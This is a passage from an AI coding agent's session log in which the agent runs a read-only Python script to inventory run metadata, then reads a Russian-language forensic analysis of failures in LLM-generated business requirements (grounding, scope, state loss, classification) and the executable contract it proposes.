\"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.309Z] [INFO]   \"uuid\": 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{\n[2026-09-29T07:45:05.320Z] [INFO]     \"total_tokens\": 30131,\n[2026-09-29T07:45:05.320Z] [INFO]     \"tool_uses\": 9,\n[2026-09-29T07:45:05.320Z] [INFO]     \"duration_ms\": 34977\n[2026-09-29T07:45:05.320Z] [INFO]   },\n[2026-09-29T07:45:05.320Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:05.320Z] [INFO]   \"uuid\": \"3cc3b642-2f05-4a6b-998e-088e51ba5712\",\n[2026-09-29T07:45:05.320Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.320Z] [INFO] }\n[2026-09-29T07:45:05.330Z] [INFO] {\n[2026-09-29T07:45:05.330Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:45:05.330Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.330Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"id\": \"msg_011CfXMj1XjrpJBAQfbXezPQ\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:45:05.330Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.330Z] [INFO]       {\n[2026-09-29T07:45:05.330Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:45:05.330Z] [INFO]         \"id\": \"toolu_01GoabRAjszwBBKqBmXLAo1p\",\n[2026-09-29T07:45:05.330Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:45:05.330Z] [INFO]         \"input\": {\n[2026-09-29T07:45:05.330Z] [INFO]           \"command\": \"cd /tmp/mango_ba_prompts && python3 - <<'EOF'\\nimport yaml,glob,collections\\nrows=[]\\nfor f in sorted(glob.glob('runs/2026/RUN-*/metadata.yaml')):\\n    d=yaml.safe_load(open(f))\\n    rows.append(d)\\n    print(d.get('run_id'),d.get('date'),d.get('run_type'),d.get('status'),'|',d.get('model'),'|',str(d.get('author'))[:50],'|',d.get('process'))\\nc=collections.Counter\\nprint(c(str(r.get('run_type')) for r in rows))\\nprint(c(str(r.get('status')) for r in rows))\\nprint(c(str(r.get('model')) for r in rows))\\nprint(min(str(r['date']) for r in rows), max(str(r['date']) for r in rows))\\nprint(c(k for r in rows for k in r.keys()))\\nEOF\",\n[2026-09-29T07:45:05.330Z] [INFO]           \"description\": \"Parse all run metadata\"\n[2026-09-29T07:45:05.330Z] [INFO]         },\n[2026-09-29T07:45:05.330Z] [INFO]         \"caller\": {\n[2026-09-29T07:45:05.330Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:45:05.330Z] [INFO]         }\n[2026-09-29T07:45:05.330Z] [INFO]       }\n[2026-09-29T07:45:05.330Z] [INFO]     ],\n[2026-09-29T07:45:05.330Z] [INFO]     \"container\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"usage\": {\n[2026-09-29T07:45:05.330Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:45:05.330Z] [INFO]       \"cache_creation_input_tokens\": 159,\n[2026-09-29T07:45:05.330Z] [INFO]       \"cache_read_input_tokens\": 43315,\n[2026-09-29T07:45:05.330Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:05.330Z] [INFO]         \"ephemeral_5m_input_tokens\": 159,\n[2026-09-29T07:45:05.330Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:05.330Z] [INFO]       },\n[2026-09-29T07:45:05.330Z] [INFO]       \"output_tokens\": 16,\n[2026-09-29T07:45:05.330Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:05.330Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:05.330Z] [INFO]     },\n[2026-09-29T07:45:05.330Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:05.330Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:05.330Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:05.330Z] [INFO]   },\n[2026-09-29T07:45:05.330Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:45:05.330Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:05.330Z] [INFO]   \"uuid\": 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    \"total_tokens\": 43851,\n[2026-09-29T07:45:05.337Z] [INFO]     \"tool_uses\": 11,\n[2026-09-29T07:45:05.337Z] [INFO]     \"duration_ms\": 42044\n[2026-09-29T07:45:05.337Z] [INFO]   },\n[2026-09-29T07:45:05.337Z] [INFO]   \"last_tool_name\": \"Bash\",\n[2026-09-29T07:45:05.337Z] [INFO]   \"uuid\": \"ac59eb20-fa04-4458-99e3-286898f0acf7\",\n[2026-09-29T07:45:05.337Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.337Z] [INFO] }\n[2026-09-29T07:45:05.357Z] [INFO] {\n[2026-09-29T07:45:05.357Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"task_id\": \"bpv2ozv5r\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"tool_use_id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"output_file\": \"\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"summary\": \"Read run forensics analysis\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"uuid\": \"fc72ad99-5625-467d-9447-c0069a374ce8\",\n[2026-09-29T07:45:05.357Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:45:05.357Z] [INFO] }\n[2026-09-29T07:45:05.390Z] [INFO] {\n[2026-09-29T07:45:05.390Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:45:05.390Z] [INFO]   \"message\": {\n[2026-09-29T07:45:05.390Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:45:05.390Z] [INFO]     \"content\": [\n[2026-09-29T07:45:05.390Z] [INFO]       {\n[2026-09-29T07:45:05.390Z] [INFO]         \"tool_use_id\": \"toolu_01J9PL7c78pXAfjfWrqEMcei\",\n[2026-09-29T07:45:05.390Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:45:05.390Z] [INFO]         \"content\": \"---\\nstatus: accepted\\nversion: 0.2\\nupdated: 2026-09-24\\ntemperature: 0.1\\ntype: analysis\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/605\\\"\\nscope: mango-only\\nbased_on: \\\"https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs\\\"\\nrelated_artifacts:\\n---\\n\\n# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0432\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u043f\u043e \u0432\u043d\u0435\u0448\u043d\u0435\u0439 \u0441\u0441\u044b\u043b\u043a\u0435 metadata | 27 | \u042d\u043a\u0441\u043f\u043e\u0440\u0442 \u043f\u043e\u043b\u0443\u0447\u0435\u043d \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u043e\u0431\u043b\u0430\u0441\u0442\u044c \u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d; \u0432 Git \u043d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d. |\\n| Run \u0431\u0435\u0437 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0434\u0438\u0430\u043b\u043e\u0433\u0430 | 23 | \u0410\u043d\u0430\u043b\u0438\u0437 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 outputs/logs; \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 gap list. |\\n| \u0414\u0438\u0430\u043b\u043e\u0433\u0438 issue #605 | 2 | \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043a\u0435\u0439\u0441\u044b BCREQ-1104 \u0438 BCREQ-1106. |\\n| \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u043d\u043e\u0435 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 | 1 | \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u0446\u0435\u043b\u0438; \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0445 \u0444\u0430\u043a\u0442\u043e\u0432. |\\n\\n`RUN-0030`\u2026`RUN-0055` \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c: \u0438\u0445 \u043f\u043e\u043b\u043d\u044b\u0435 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u044b \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432\\nGit-\u0434\u0435\u0440\u0435\u0432\u0435, \u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u043e \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u0432 `metadata.yaml`. `RUN-0061` \u0442\u0430\u043a\u0436\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\\n\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0443\u044e \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u043a\u0441\u043f\u043e\u0440\u0442 \u0438 \u043f\u043e\u0442\u043e\u043c\u0443 \u0432\u043a\u043b\u044e\u0447\u0451\u043d \u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043d\u043d\u0443\u044e \u0432\u044b\u0431\u043e\u0440\u043a\u0443.\\n\\n### \u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b\\n\\n1. **\u041e\u0448\u0438\u0431\u043a\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u043e\u0434\u043d\u043e\u0439 \u0444\u043e\u0440\u043c\u0443\u043b\u0435 FR.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: RUN-0016, RUN-0020,\\n   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n   \u043e\u0442\u043a\u0430\u0437\u044b \u2014 grounding, scope, state \u0438 classification.\\n2. **Citation \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u043e\u0441\u0442\u044c.** \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e: \u0432\\n   RUN-0024 \u0438 RUN-0026 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0435 \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u043b\u0438 \u0432\u044b\u0432\u043e\u0434 \u043b\u0438\u0431\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u043d\u0435 \u0431\u044b\u043b\u0438\\n   \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u044b; \u0432 BCREQ-1104 \u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u0445\u043e\u0436\u0438\u0435 \u0444\u0430\u043a\u0442\u044b \u043e \u0437\u0430\u043f\u0438\u0441\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440\u0430 \u0431\u044b\u043b\u0438\\n   \u043d\u0435\u0440\u0435\u043b\u0435\u0432\u0430\u043d\u0442\u043d\u044b \u0437\u0432\u0443\u043a\u043e\u0432\u043e\u043c\u0443 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044e.\\n3. **\u0410\u0442\u043e\u043c\u0430\u0440\u043d\u043e\u0441\u0442\u044c \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e FR \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u0435 \u043f\u043e\u043b\u0435 \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435.**\\n   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n   \u0443\u0434\u0430\u043b\u0435\u043d\u044b, \u0430 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u0430\u044f \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044f\u043c \u0441 \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u044f\u043c\u0438.\\n4. **TM Forum \u0434\u0430\u0451\u0442 \u0433\u043e\u0442\u043e\u0432\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0438 FR/UC/NFR.** \u041d\u0435\\n   \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e. TM Forum \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 capabilities, \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b \u0438 ODA-\u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442;\\n   \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442 \u0438 \u0438\u0445 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e 